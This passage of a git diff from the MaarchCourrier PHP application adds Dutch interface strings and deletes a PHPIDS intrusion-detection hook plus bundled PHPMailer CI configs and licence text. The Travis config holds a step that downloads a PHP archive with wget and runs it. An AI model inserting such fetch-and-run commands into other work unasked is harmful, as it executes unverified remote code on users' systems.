MaarchCourrier (enkel kleinere versies)'); +} +if (!defined('_UPDATE_BACKUP')) { + define('_UPDATE_BACKUP', 'Back-up'); +} +if (!defined('_UPDATE_BACKUP_INFOS')) { + define('_UPDATE_BACKUP_INFOS', 'Back-up van uw huidige versie'); +} +if (!defined('_UPDATE_BACKUP_DETAILS')) { + define('_UPDATE_BACKUP_DETAILS', 'Back-upprocedure van uw huidige versie om deze te kunnen herstellen indien nodig.'); +} +if (!defined('_ACTUAL_VERSION_PATH')) { + define('_ACTUAL_VERSION_PATH', 'Pad van uw installatie'); +} +if (!defined('_UPDATE_BACKUP_PATH')) { + define('_UPDATE_BACKUP_PATH', 'Pad van uw back-up'); +} +if (!defined('_BACKUP_ACTUAL_VERSION')) { + define('_BACKUP_ACTUAL_VERSION', 'Uw versie opslaan'); +} +if (!defined('_UPDATE_DOWNLOAD')) { + define('_UPDATE_DOWNLOAD', 'Download'); +} +if (!defined('_LAST_RELEASE_INFOS')) { + define('_LAST_RELEASE_INFOS', 'Downloaden van de laatste kleinere versie'); +} +if (!defined('_LAST_RELEASE_DETAILS')) { + define('_LAST_RELEASE_DETAILS', 'Details van kleinere versies beschikbaar'); +} +if (!defined('_CHOOSE_VERSION_TO_UPDATE')) { + define('_CHOOSE_VERSION_TO_UPDATE', 'Kies de nieuwe versie'); +} +if (!defined('_DOWNLOAD_VERSION')) { + define('_DOWNLOAD_VERSION', 'De versie downloaden'); +} +if (!defined('_UPDATE_DEPLOY')) { + define('_UPDATE_DEPLOY', 'Unzippen'); +} +if (!defined('_UPDATE_DEPLOY_INFOS')) { + define('_UPDATE_DEPLOY_INFOS', 'Unzippen van de gedownloade versie'); +} +if (!defined('_UPDATE_DEPLOY_DETAILS')) { + define('_UPDATE_DEPLOY_DETAILS', 'Unzippen van de gedownloade versie'); +} +if (!defined('_DEPLOY_VERSION')) { + define('_DEPLOY_VERSION', 'De versie unzippen'); +} +if (!defined('_UPDATE_END')) { + define('_UPDATE_END', 'Update geslaagd'); +} +if (!defined('_UPDATE_DESC_END')) { + define('_UPDATE_DESC_END', 'Update geslaagd'); +} +if (!defined('_NO_AVAILABLE_TAG_TO_UPDATE')) { + define('_NO_AVAILABLE_TAG_TO_UPDATE', 'Geen versie beschikbaar voor update'); +} +if (!defined('_PARAM_VALUE_IS_EMPTY')) { + define('_PARAM_VALUE_IS_EMPTY', 'De waarde van de instelling is leeg'); +} +if (!defined('_INVALID_PARAM_DATE')) { + define('_INVALID_PARAM_DATE', 'Instelling ongeldige datum'); +} +if (!defined('_INVALID_INTEGER')) { + define('_INVALID_INTEGER', 'Geheel is ongeldig'); +} +if (!defined('_INVALID_STRING')) { + define('_INVALID_STRING', 'Ongeldige karakterreeks'); +} +if (!defined('_INVALID_DESCRIPTION')) { + define('_INVALID_DESCRIPTION', 'Ongeldige beschrijving'); +} +if (!defined('_INVALID_ID')) { + define('_INVALID_ID', 'Gebruikersnaam ongeldig'); +} +if (!defined('_INVALID')) { + define('_INVALID', 'is niet geldig'); +} +if (!defined('_STATUS_UPDATED')) { + define('_STATUS_UPDATED', 'Bijgewerkt statuut'); +} +if (!defined('_SAVED_CHANGE')) { + define('_SAVED_CHANGE', 'Wijziging bewaard'); +} +if (!defined('_DOC_CREATED')) { + define('_DOC_CREATED', 'Document aangemaakt'); +} +if (!defined('_SAVE_POSITION')) { + define('_SAVE_POSITION', 'Bewaren'); +} +if (!defined('_REF_SEARCH')) { + define('_REF_SEARCH', 'Referentiedocument doorzoeken'); +} +if (!defined('_USE_REF')) { + define('_USE_REF', 'Het nationale referentiedocument gebruiken'); +} +if (!defined('_WARNING_REF')) { + define('_WARNING_REF', '<b>Bestanden van het referentiedocument ontbreken!</b><br/>Om het nationale referentiedocument te gebruiken, contacteer uw <a href=mailto:.$_SESSION[config][adminmail].>administrator</a>'); +} +if (!defined('_ERROR')) { + define('_ERROR', 'Fout'); +} +if (!defined('_IMG_SIZE_NOT_ALLOWED')) { + define('_IMG_SIZE_NOT_ALLOWED', 'Afbeeldingsgrootte te klein'); +} +if (!defined('_SELECT_IMG_FIRST')) { + define('_SELECT_IMG_FIRST', 'Geen bestand geladen'); +} +if (!defined('_IMG_UPLOADED')) { + define('_IMG_UPLOADED', 'Afbeelding geladen'); +} +if (!defined('_IMG_ALREADY_UPLOADED')) { + define('_IMG_ALREADY_UPLOADED', 'Afbeelding reeds geladen'); +} +if (!defined('_FILE_FORMAT_NOT_ALLOWED')) { + define('_FILE_FORMAT_NOT_ALLOWED', 'Afbeeldingsformaat niet toegestaan'); +} +if (!defined('_REDIRECTION_DESC')) { + define('_REDIRECTION_DESC', 'Opent een venster waarmee een nieuwe verwerkende gebruiker gekozen kan worden OF de verwerkende eenheid met een nieuwe distributielijst opnieuw ingesteld kan worden.'); +} +if (!defined('_SEARCH_SCOPE_HELP')) { + define('_SEARCH_SCOPE_HELP', 'De perimeter komt overeen met de brieven die zichtbaar zijn door mijn groep of in mijn bakjes'); +} +if (!defined('_DEPARTMENTS_LIST_SHORT')) { + define('_DEPARTMENTS_LIST_SHORT', 'Lijst van de eenheden'); +} +if (!defined('_NOTES')) { + define('_NOTES', 'Opmerkingen'); +} +if (!defined('_USER_ACCESS_DEPARTMENT')) { + define('_USER_ACCESS_DEPARTMENT', 'De gebruiker heeft toegang tot de volgende eenheden'); +} +if (!defined('_KEYWORD_REDIRECT_DESC')) { + define('_KEYWORD_REDIRECT_DESC', 'Om de beschikbare opties op de actie vanuit het bakje te bepalen, met name de eenheden en/of de gebruikers die voor de omleiding beschikbaar zijn.'); +} +if (!defined('_KEYWORD_INDEXING_DESC')) { + define('_KEYWORD_INDEXING_DESC', 'Om de beschikbare opties op de actie vanuit het bakje te bepalen met name de beschikbare verwerkende diensten en/of mogelijke status(sen) voor een documentregistratie / -wijziging'); +} +if (!defined('_ACCOUNT_LOCKED_FOR')) { + define('_ACCOUNT_LOCKED_FOR', 'Aantal verbindingspogingen overschreden. Uw account wordt vergrendeld voor'); +} +if (!defined('_ACCOUNT_LOCKED_UNTIL')) { + define('_ACCOUNT_LOCKED_UNTIL', 'Aantal verbindingspogingen overschreden. Account vergrendeld tot'); +} +if (!defined('_UNDEFINED_DATA')) { + define('_UNDEFINED_DATA', 'Niet bepaald'); +} +if (!defined('_ADD_ATTACHMENT_OR_NOTE')) { + define('_ADD_ATTACHMENT_OR_NOTE', 'Voeg een bijlage of een opmerking toe voor deze brief/brieven'); +} +if (!defined('_DEPARTMENT_DEST')) { + define('_DEPARTMENT_DEST', 'Behandelende eenheid'); +} +if (!defined('_DEPARTMENT_EXP')) { + define('_DEPARTMENT_EXP', 'Opstellende eenheid'); +} +if (!defined('_PROCESS_NOTES')) { + define('_PROCESS_NOTES', 'Verwerkingsopmerkingen'); +} +if (!defined('_CHOOSE_ENTITES_SEARCH_TITLE')) { + define('_CHOOSE_ENTITES_SEARCH_TITLE', 'Voeg de gewenste eenheid (eenheden) toe om de opzoeking in te perken'); +} +if (!defined('_DESTINATION_SEARCH')) { + define('_DESTINATION_SEARCH', 'Getroffen eenheid (eenheden)'); +} +if (!defined('_MULTI_FIELD_HELP')) { + define('_MULTI_FIELD_HELP', 'Onderwerp, Num GED, Num chrono, verwerkingsopmerkingen'); +} +if (!defined('_CONTACT_ID')) { + define('_CONTACT_ID', 'Contact ID'); +} +if (!defined('_UPDATE_CONTACTS')) { + define('_UPDATE_CONTACTS', 'Contacten bijwerken'); +} +if (!defined('_VIEW_CONTACTS_GROUPS_DESC')) { + define('_VIEW_CONTACTS_GROUPS_DESC', 'Contactgroeperingen gebruikt voor de indexering van een brief'); +} +if (!defined('_VIEW_CONTACTS_GROUPS')) { + define('_VIEW_CONTACTS_GROUPS', 'Contactgroeperingen'); +} +if (!defined('_CONTACTS_GROUP')) { + define('_CONTACTS_GROUP', 'Contactgroepering'); +} +if (!defined('_MORAL_CONTACT')) { + define('_MORAL_CONTACT', 'Moreel contact'); +} +if (!defined('_NOTES_1')) { + define('_NOTES_1', 'Opmerkingen dienst 1'); +} +if (!defined('_NOTES_2')) { + define('_NOTES_2', 'Opmerkingen dienst 2'); +} +if (!defined('_NOTES_3')) { + define('_NOTES_3', 'Opmerkingen dienst 3'); +} +if (!defined('_INITIATOR')) { + define('_INITIATOR', 'Initiatiefnemende eenheid'); +} +if (!defined('_INITIATORS')) { + define('_INITIATORS', 'Initiatiefnemende eenheid (eenheden)'); +} +if (!defined('_DEPARTMENT_OWNER')) { + define('_DEPARTMENT_OWNER', 'Eenheid die eigenaar is'); +} +if (!defined('_PRINT_FREE_NOTES')) { + define('_PRINT_FREE_NOTES', 'VRIJE OPMERKINGEN'); +} +if (!defined('_PRINT_FURTHER_INFORMATIONS')) { + define('_PRINT_FURTHER_INFORMATIONS', 'BIJKOMENDE INFORMATIE'); +} +if (!defined('_PRINT_NOTES')) { + define('_PRINT_NOTES', 'OPMERKINGEN'); +} +if (!defined('_PRINT_PROCESS_ENTITY')) { + define('_PRINT_PROCESS_ENTITY', 'BEHANDELENDE EENHEID'); +} +if (!defined('_PRINT_PRIVATE_NOTE')) { + define('_PRINT_PRIVATE_NOTE', 'Privé-opmerking'); +} +if (!defined('_TAG_ADMIN')) { + define('_TAG_ADMIN', 'Beheer van de sleutelwoorden'); +} +if (!defined('_REDIRECT_WORKFLOW_ENTITY')) { + define('_REDIRECT_WORKFLOW_ENTITY', 'Omleiden naar de initiatiefnemende eenheid'); +} +if (!defined('_REDIRECT_WORKFLOW_ENTITY_DESC')) { + define('_REDIRECT_WORKFLOW_ENTITY_DESC', 'Stuurt het document terug naar de initiatiefnemende eenheid van het brief zonder het huidige goedkeuringscircuit te wijzigen.'); +} +if (!defined('_SIMPLE_CONFIRM_WITH_UPDATE_DATE')) { + define('_SIMPLE_CONFIRM_WITH_UPDATE_DATE', 'Bevestiging en bijwerking van de vertrekdatum'); +} +if (!defined('_BARCODE')) { + define('_BARCODE', 'Barcode'); +} +if (!defined('_CHOOSE_DEPARTMENT_NUMBER')) { + define('_CHOOSE_DEPARTMENT_NUMBER', 'Kies het betrokken departement'); +} +if (!defined('_DEPARTMENT_NUMBER')) { + define('_DEPARTMENT_NUMBER', 'Betrokken departement'); +} +if (!defined('_CHRONO_NUMBER_HELP')) { + define('_CHRONO_NUMBER_HELP', 'Voorbeeld: MAARCH/2018A/36'); +} +if (!defined('_BARCODE_HELP')) { + define('_BARCODE_HELP', 'Voorbeeld: ABC000004'); +} +if (!defined('_PROCESS_IN_PROGRESS')) { + define('_PROCESS_IN_PROGRESS', 'Verwerking bezig'); +} +if (!defined('_CONTACTS_FILLING')) { + define('_CONTACTS_FILLING', 'Volledigheid van de contactinformatie'); +} +if (!defined('_PROCESSED_BY')) { + define('_PROCESSED_BY', 'Verwerkt door'); +} +if (!defined('_REDACTOR')) { + define('_REDACTOR', 'Opsteller'); +} +if (!defined('_ASSIGNEE')) { + define('_ASSIGNEE', 'Toegekende persoon'); +} +if (!defined('_CONTACTS_USERS_LIST')) { + define('_CONTACTS_USERS_LIST', 'Directory contacten / gebruikers'); +} +if (!defined('_ENTITIES_LIST')) { + define('_ENTITIES_LIST', 'Directory eenheden'); +} +if (!defined('_CONTACTS_USERS_SEARCH')) { + define('_CONTACTS_USERS_SEARCH', 'Contacts / users / entities search'); +} // _TO_TRANSLATE +if (!defined('_CONTACTS_USERS_GROUPS_SEARCH')) { + define('_CONTACTS_USERS_GROUPS_SEARCH', 'Een contact / gebruiker / contactgroepering zoeken'); +} +if (!defined('_USER_MAARCH_PARAPHEUR')) { + define('_USER_MAARCH_PARAPHEUR', 'Maarch vloeiboek gebruiker'); +} +if (!defined('_DOCUMENT_WITH_NOTES')) { + define('_DOCUMENT_WITH_NOTES', 'Document met opmerkingen'); +} +if (!defined('_USE_MODEL_MAILING')) { + define('_USE_MODEL_MAILING', 'Gebruik een registratiesjabloon'); +} if (!defined('_PUT_IN_SIGNATORY_BOOK')) { define('_PUT_IN_SIGNATORY_BOOK', 'integreren in de elektronische handtekening'); } diff --git a/apps/maarch_entreprise/phpids_control.php b/apps/maarch_entreprise/phpids_control.php deleted file mode 100755 index b318145a20bf8efe205a0a5fb9e5bcc2d7b0ab49..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/phpids_control.php +++ /dev/null @@ -1,99 +0,0 @@ -<?php - -$processIDS = true; -for ($cptIDS=0;$cptIDS<count($_SESSION['PHPIDS_EXCLUDES']);$cptIDS++) { - if ( - ( - $_REQUEST['module'] == $_SESSION['PHPIDS_EXCLUDES'][$cptIDS]['TARGET'] || - $_REQUEST['admin'] == $_SESSION['PHPIDS_EXCLUDES'][$cptIDS]['TARGET'] || - $_SESSION['PHPIDS_EXCLUDES'][$cptIDS]['TARGET'] == "" - ) - && - $_REQUEST['page'] == $_SESSION['PHPIDS_EXCLUDES'][$cptIDS]['PAGE'] - ) { - $processIDS = false; - break; - } -} - -if ($processIDS) { - set_include_path( - get_include_path() - . PATH_SEPARATOR - . 'apps/maarch_entreprise/tools/phpids/lib/' - ); - - require_once 'IDS/Init.php'; - - try { - $request = array( - 'REQUEST' => $_REQUEST, - 'GET' => $_GET, - 'POST' => $_POST, - 'COOKIE' => $_COOKIE - ); - unset($request['COOKIE']['maarchCourrierAuth']); - unset($request['COOKIE']['CTSESSIONEN']); // cookie ClearTrust - - $init = IDS_Init::init( - dirname(__FILE__) - . '/tools/phpids/lib/IDS/Config/Config.ini.php' - ); - - $init->config['General']['base_path'] = dirname(__FILE__) - . '/tools/phpids/lib/IDS/'; - $init->config['General']['use_base_path'] = true; - $init->config['Caching']['caching'] = 'none'; - - // 2. Initiate the PHPIDS and fetch the results - $ids = new IDS_Monitor($request, $init); - $result = $ids->run(); - - if (!$result->isEmpty()) { - require_once 'core/class/class_core_tools.php'; - require_once 'core/class/class_history.php'; - $hist = new history(); - $ip = $_SERVER['REMOTE_ADDR']; - $hist->add( - $_SESSION['tablename']['users'], - $_SESSION['user']['UserId'], - 'PHPIDS', - 'phpidscontrol', - ' PHPIDS CONTROL, USER : ' . $_SESSION['user']['UserId'] . ' IP : ' . $ip - . ' MESSAGE : ' - . (string) $result, - $_SESSION['config']['databasetype'], - 'admin', - false, - 'ok', - 'ERROR', - 'superadmin' - ); - if ($_SESSION['config']['debug'] == 'true') { - echo $result; - $_SESSION['securityMessage'] = (string) $result; - $varRedirect = '<script language="javascript">window.location.href=\'' - . $_SESSION['config']['businessappurl'] - . "index.php?page=security_message';</script>"; - echo $varRedirect; - exit; - } elseif ($result->getImpact() >= 30) { - $_SESSION['securityMessage'] = (string) $result; - $varRedirect = '<script language="javascript">window.location.href=\'' - . $_SESSION['config']['businessappurl'] - . "index.php?page=security_message';</script>"; - echo $varRedirect; - exit; - } - } - } catch (Exception $e) { - /* - * sth went terribly wrong - maybe the - * filter rules weren't found? - */ - printf( - 'An error occured: %s', - $e->getMessage() - ); - } -} diff --git a/apps/maarch_entreprise/tools/PHPMailer/.gitignore b/apps/maarch_entreprise/tools/PHPMailer/.gitignore deleted file mode 100755 index 1006c116de778092de3c7d82811aa2a53cc1ec72..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/.gitignore +++ /dev/null @@ -1,6 +0,0 @@ -docs/phpdoc/ -test/message.txt -test/testbootstrap.php -test/*.pem -build/ -vendor/ diff --git a/apps/maarch_entreprise/tools/PHPMailer/.scrutinizer.yml b/apps/maarch_entreprise/tools/PHPMailer/.scrutinizer.yml deleted file mode 100755 index 30232809c7323ba7de496e4d7a87de7ba5113271..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/.scrutinizer.yml +++ /dev/null @@ -1,132 +0,0 @@ -build: - environment: - php: '5.6.0' - -before_commands: - - "composer install --prefer-source" - -tools: - external_code_coverage: - enabled: true - timeout: 300 - filter: - excluded_paths: - - 'docs/*' - - 'examples/*' - - 'extras/*' - - 'test/*' - - 'vendor/*' - - php_code_coverage: - enabled: false - filter: - excluded_paths: - - 'docs/*' - - 'examples/*' - - 'extras/*' - - 'test/*' - - 'vendor/*' - - php_code_sniffer: - enabled: true - config: - standard: PSR2 - sniffs: - generic: - files: - one_class_per_file_sniff: false - filter: - excluded_paths: - - 'docs/*' - - 'examples/*' - - 'extras/*' - - 'test/*' - - 'vendor/*' - - # Copy/Paste Detector - php_cpd: - enabled: true - excluded_dirs: - - docs - - examples - - extras - - test - - vendor - - # PHP CS Fixer (http://http://cs.sensiolabs.org/). - php_cs_fixer: - enabled: true - config: - level: psr2 - filter: - excluded_paths: - - 'docs/*' - - 'examples/*' - - 'extras/*' - - 'test/*' - - 'vendor/*' - - # Analyzes the size and structure of a PHP project. - php_loc: - enabled: true - excluded_dirs: - - docs - - examples - - extras - - test - - vendor - - # PHP Mess Detector (http://phpmd.org). - php_mess_detector: - enabled: true - config: - rulesets: - - codesize - - unusedcode - - naming - - design - naming_rules: - short_variable: { minimum: 2 } - filter: - excluded_paths: - - 'docs/*' - - 'examples/*' - - 'extras/*' - - 'test/*' - - 'vendor/*' - - # Analyzes the size and structure of a PHP project. - php_pdepend: - enabled: true - excluded_dirs: - - docs - - examples - - extras - - test - - vendor - - # Runs Scrutinizer's PHP Analyzer Tool - # https://scrutinizer-ci.com/docs/tools/php/php-analyzer/config_reference - php_analyzer: - enabled: true - config: - checkstyle: - enabled: true - naming: - enabled: true - property_name: ^[_a-zA-Z][a-zA-Z0-9_]*$ #Allow underscores & caps - method_name: ^(?:[_a-zA-Z]|__)[a-zA-Z0-9_]*$ #Allow underscores & caps - parameter_name: ^[a-z][a-zA-Z0-9_]*$ # Allow underscores - local_variable: ^[a-zA-Z][a-zA-Z0-9_]*$ #Allow underscores & caps - exception_name: ^[a-zA-Z][a-zA-Z0-9]*Exception$ - isser_method_name: ^(?:[_a-zA-Z]|__)[a-zA-Z0-9]*$ #Allow underscores & caps - filter: - excluded_paths: - - 'docs/*' - - 'examples/*' - - 'extras/*' - - 'test/*' - - 'vendor/*' - - # Security Advisory Checker - sensiolabs_security_checker: true diff --git a/apps/maarch_entreprise/tools/PHPMailer/.travis.yml b/apps/maarch_entreprise/tools/PHPMailer/.travis.yml deleted file mode 100755 index c111d5e53712ef34ba82747a213204483d52992c..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/.travis.yml +++ /dev/null @@ -1,32 +0,0 @@ -language: php -php: - - 7.0 - - 5.6 - - 5.5 - - 5.4 - - 5.3 - - hhvm - -matrix: - allow_failures: - - php: hhvm - -before_install: - - sudo apt-get update -qq - - sudo apt-get install -y -qq postfix -before_script: - - sudo service postfix stop - - smtp-sink -d "%d.%H.%M.%S" localhost:2500 1000 & - - mkdir -p build/logs - - cd test - - cp testbootstrap-dist.php testbootstrap.php - - chmod +x fakesendmail.sh - - sudo mkdir -p /var/qmail/bin - - sudo cp fakesendmail.sh /var/qmail/bin/sendmail - - sudo cp fakesendmail.sh /usr/sbin/sendmail - - echo 'sendmail_path = "/usr/sbin/sendmail -t -i "' > $(php --ini|grep -m 1 "ini files in:"|cut -d ":" -f 2)/sendmail.ini -script: - - phpunit --configuration ../travis.phpunit.xml.dist -after_script: - - wget https://scrutinizer-ci.com/ocular.phar - - php ocular.phar code-coverage:upload --format=php-clover ../build/logs/clover.xml diff --git a/apps/maarch_entreprise/tools/PHPMailer/LICENSE b/apps/maarch_entreprise/tools/PHPMailer/LICENSE deleted file mode 100755 index 8e0763d1c21e7ca10be5e21d02a2008967083e1e..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/PHPMailer/LICENSE +++ /dev/null @@ -1,504 +0,0 @@ - GNU LESSER GENERAL PUBLIC LICENSE - Version 2.1, February 1999 - - Copyright (C) 1991, 1999 Free Software Foundation, Inc. - 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - -[This is the first released version of the Lesser GPL. It also counts - as the successor of the GNU Library Public License, version 2, hence - the version number 2.1.] - - Preamble - - The licenses for most software are designed to take away your -freedom to share and change it. By contrast, the GNU General Public -Licenses are intended to guarantee your freedom to share and change -free software--to make sure the software is free for all its users. - - This license, the Lesser General Public License, applies to some -specially designated software packages--typically libraries--of the -Free Software Foundation and other authors who decide to use it. You -can use it too, but we suggest you first think carefully about whether -this license or the ordinary General Public License is the better -strategy to use in any particular case, based on the explanations below. - - When we speak of free software, we are referring to freedom of use, -not price. Our General Public Licenses are designed to make sure that -you have the freedom to distribute copies of free software (and charge -for this service if you wish); that you receive source code or can get -it if you want it; that you can change the software and use pieces of -it in new free programs; and that you are informed that you can do -these things. - - To protect your rights, we need to make restrictions that forbid -distributors to deny you these rights or to ask you to surrender these -rights. These restrictions translate to certain responsibilities for -you if you distribute copies of the library or if you modify it. - - For example, if you distribute copies of the library, whether gratis -or for a fee, you must give the recipients all the rights that we gave -you. You must make sure that they, too, receive or can get the source -code. If you link other code with the library, you must provide -complete object files to the recipients, so that they can relink them -with the library after making changes to the library and recompiling -it. And you must show them these terms so they know their rights. - - We protect your rights with a two-step method: (1) we copyright the -library, and (2) we offer you this license, which gives you legal -permission to copy, distribute and/or modify the library. - - To protect each distributor, we want to make it very clear that -there is no warranty for the free library. Also, if the library is -modified by someone else and passed on, the recipients should know -that what they have is not the original version, so that the original -author's reputation will not be affected by problems that might be -introduced by others. - - Finally, software patents pose a constant threat to the existence of -any free program. We wish to make sure that a company cannot -effectively restrict the users of a free program by obtaining a -restrictive license from a patent holder. Therefore, we insist that -any patent license obtained for a version of the library must be -consistent with the full freedom of use specified in this license. - - Most GNU software, including some libraries, is covered by the -ordinary GNU General Public License. This license, the GNU Lesser -General Public License, applies to certain designated libraries, and -is quite different from the ordinary General Public License. We use -this license for certain libraries in order to permit linking those -libraries into non-free programs. - - When a program is linked with a library, whether statically or using -a shared library, the combination of the two is legally speaking a -combined work, a derivative of the original library. The ordinary -General Public License therefore permits such linking only if the -entire combination fits its criteria of freedom. The Lesser General -Public License permits more lax criteria for linking other code with -the library. - - We call this license the "Lesser" General Public License because it -does Less to protect the user's freedom than the ordinary General -Public License. It also provides other free software developers Less -of an advantage over competing non-free programs. These disadvantages -are the reason we use the ordinary General Public License for many -libraries. However, the Lesser license provides advantages in certain -special circumstances. - - For example, on rare occasions, there may be a special need to -encourage the widest possible use of a certain library, so that it becomes -a de-facto standard. To achieve this, non-free programs must be -allowed to use the library. A more frequent case is that a free -library does the same job as widely used non-free libraries. In this -case, there is little to gain by limiting the free library to free -software only, so we use the Lesser General Public License. - - In other cases, permission to use a particular library in non-free -programs enables a greater number of people to use a large body of -free software. For example, permission to use the GNU C Library in -non-free programs enables many more people to use the whole GNU -operating system, as well as its variant, the GNU/Linux operating -system. - - Although the Lesser General Public License is Less protective of the -users' freedom, it does ensure that the user of a program that is -linked with the Library has the freedom and the wherewithal to run -that program using a modified version of the Library. - - The precise terms and conditions for copying, distribution and -modification follow. Pay close attention to the difference between a -"work based on the library" and a "work that uses the library". The -former contains code derived from the library, whereas the latter must -be combined with the library in order to run. - - GNU LESSER GENERAL PUBLIC LICENSE - TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION - - 0. This License Agreement applies to any software library or other -program which contains a notice placed by the copyright holder or -other authorized party saying it may be distributed under the terms of -this Lesser General Public License (also called "this License"). -Each licensee is addressed as "you". - - A "library" means a collection of software functions and/or data -prepared so as to be conveniently linked with application programs -(which use some of those functions and data) to form executables. - - The "Library", below, refers to any such software library or work -which has been distributed under these terms. A "work based on the -Library" means either the Library or any derivative work under -copyright law: that is to say, a work containing the Library or a -portion of it, either verbatim or with modifications and/or translated -straightforwardly into another language. (Hereinafter, translation is -included without limitation in the term "modification".) - - "Source code" for a work means the preferred form of the work for -making modifications to it. For a library, complete source code means -all the source code for all modules it contains, plus any associated -interface definition files, plus the scripts used to control compilation -and installation of the library. - - Activities other than copying, distribution and modification are not -covered by this License; they are outside its scope. The act of -running a program using the Library is not restricted, and output from -such a program is covered only if its contents constitute a work based -on the Library (independent of the use of the Library in a tool for -writing it). Whether that is true depends on what the Library does -and what the program that uses the Library does. - - 1. You may copy and distribute verbatim copies of the Library's -complete source code as you receive it, in any medium, provided that -you conspicuously and appropriately publish on each copy an -appropriate copyright notice and disclaimer of warranty; keep intact -all the notices that refer to this License and to the absence of any -warranty; and distribute a copy of this License along with the -Library. - - You may charge a fee for the physical act of transferring a copy, -and you may at your option offer warranty protection in exchange for a -fee. - - 2. You may modify your copy or copies of the Library or any portion -of it, thus forming a work based on the Library, and copy and -distribute such modifications or work under the terms of Section 1 -above, provided that you also meet all of these conditions: - - a) The modified work must itself be a software library. - - b) You must cause the files modified to carry prominent notices - stating that you changed the files and the date of any change. - - c) You must cause the whole of the work to be licensed at no - charge to all third parties under the terms of this License. - - d) If a facility in the modified Library refers to a function or a - table of data to be supplied by an application program that uses - the facility, other than as an argument passed when the facility - is invoked, then you must make a good faith effort to ensure that, - in the event an application does not supply such function or - table, the facility still operates, and performs whatever part of - its purpose remains meaningful. - - (For example, a function in a library to compute square roots has - a purpose that is entirely well-defined independent of the - application. Therefore, Subsection 2d requires that any - application-supplied function or table used by this function must - be optional: if the application does not supply it, the square - root function must still compute square roots.) - -These requirements apply to the modified work as a whole. If -identifiable sections of that work are not derived from the Library, -and can be reasonably considered independent and separate works in -themselves, then this License, and its terms, do not apply to those -sections when you distribute them as separate works. But when you -distribute the same sections as part of a whole which is a work based -on the Library, the distribution of the whole must be on the terms of -this License, whose permissions for other licensees extend to the -entire whole, and thus to each and every part regardless of who wrote -it. - -Thus, it is not the intent of this section to claim rights or contest -your rights to work written entirely by you; rather, the intent is to -exercise the right to control the distribution of derivative or -collective works based on the Library. - -In addition, mere aggregation of another work not based on the Library -with the Library (or with a work based on the Library) on a volume of -a storage or distribution medium does not bring the other work under -the scope of this License. - - 3. You may opt to apply the terms of the ordinary GNU General Public -License instead of this License to a given copy of the Library. To do -this, you must alter all the notices that refer to this License, so -that they refer to the ordinary GNU General Public License, version 2, -instead of to this License. (If a newer version than version 2 of the -ordinary GNU General Public License has appeared, then you can specify -that version instead if you wish.) Do not make any other change in -these notices. - - Once this change is made in a given copy, it is irreversible for -that copy, so the ordinary GNU General Public License applies to all -subsequent copies and derivative works made from that copy. - - This option is useful when you wish to copy part of the code of -the Library into a program that is not a library. - - 4. You may copy and distribute the Library (or a portion or -derivative of it, under Section 2) in object code or executable form -under the terms of Sections 1 and 2 above provided that you accompany -it with the complete corresponding machine-readable source code, which -must be distributed under the terms of Sections 1 and 2 above on a -medium customarily used for software interchange. - - If distribution of object code is made by offering access to copy -from a designated place, then offering equivalent access to copy the -source code from the same place satisfies the requirement to -distribute the source code, even though third parties are not -compelled to copy the source along with the object code. - - 5. A program that contains no derivative of any portion of the -Library, but is designed to work with the Library by being compiled or -linked with it, is called a "work that uses the Library". Such a -work, in isolation, is not a derivative work of the Library, and -therefore falls outside the scope of this License. - - However, linking a "work that uses the Library" with the Library -creates an executable that is a derivative of the Library (because it -contains portions of the Library), rather than a "work that uses the -library". The executable is therefore covered by this License. -Section 6 states terms for distribution of such executables. - - When a "work that uses the Library" uses material from a header file -that is part of the Library, the object code for the work may be a -derivative work of the Library even though the source code is not. -Whether this is true is especially significant if the work can be -linked without the Library, or if the work is itself a library. The -threshold for this to be true is not precisely defined by law. - - If such an object file uses only numerical parameters, data -structure layouts and accessors, and small macros and small inline -functions (ten lines or less in length), then the use of the object -file is unrestricted, regardless of whether it is legally a derivative -work. (Executables containing this object code plus portions of the -Library will still fall under Section 6.) - - Otherwise, if the work is a derivative of the Library, you may -distribute the object code for the work under the terms of Section 6. -Any executables containing that work also fall under Section 6, -whether or not they are linked directly with the Library itself. - - 6. As an exception to the Sections above, you may also combine or -link a "work that uses the Library" with the Library to produce a -work containing portions of the Library, and distribute that work -under terms of your choice, provided that the terms permit -modification of the work for the customer's own use and reverse -engineering for debugging such modifications. - - You must give prominent notice with each copy of the work that the -Library is used in it and that the Library and its use are covered by -this License. You must supply a copy of this License. If the work -during execution displays copyright notices, you must include the -copyright notice for the Library among them, as well as a reference -directing the user to the copy of this License. Also, you must do one -of these things: - - a) Accompany the work with the complete corresponding - machine-readable source code for the Library including whatever - changes were used in the work (which must be distributed under - Sections 1 and 2 above); and, if the work is an executable linked - with the Library, with the complete machine-readable "work that - uses the Library", as object code and/or source code, so that the - user can modify the Library and then relink to produce a modified - executable containing the modified Library. (It is understood - that the user who changes the contents of definitions files in the - Library will not necessarily be able to recompile the application - to use the modified definitions.) - - b) Use a suitable shared library mechanism for linking with the - Library. A suitable mechanism is one that (1) uses at run time a - copy of the library already present on the user's computer system, - rather than copying library functions into the executable, and (2) - will operate properly with a modified version of the library, if - the user installs one, as long as the modified version is - interface-compatible with the version that the work was made with. - - c) Accompany the work with a written offer, valid for at - least three years, to give the same user the materials - specified in Subsection 6a, above, for a charge no more - than the cost of performing this distribution. - - d) If distribution of the work is made by offering access to copy - from a designated place, offer equivalent access to copy the above - specified materials from the same place. - - e) verify that the user has already received a copy of these - materials or that you have already sent this user a copy. - - For an executable, the required form of the "work that uses the -Library" must include any data and utility programs needed for -reproducing the executable from it. However, as a special exception, -the materials to be distributed need not include anything that is -normally distributed (in either source or binary form) with the major -components (compiler, kernel, and so on) of the operating system on -which the executable runs, unless that component itself accompanies -the executable. - - It may happen that this requirement contradicts the license -restrictions of other proprietary libraries that do not normally -accompany the operating system. Such a contradiction means you cannot -use both them and the Library together in an executable that you -distribute. - - 7. You may place library facilities that are a work based on the -Library side-by-side in a single library together with other library -facilities not covered by this License, and distribute such a combined -library, provided that the separate distribution of the work based on -the Library and of the other library facilities is otherwise -permitted, and provided that you do these two things: - - a) Accompany the combined library with a copy of the same work - based on the Library, uncombined with any other 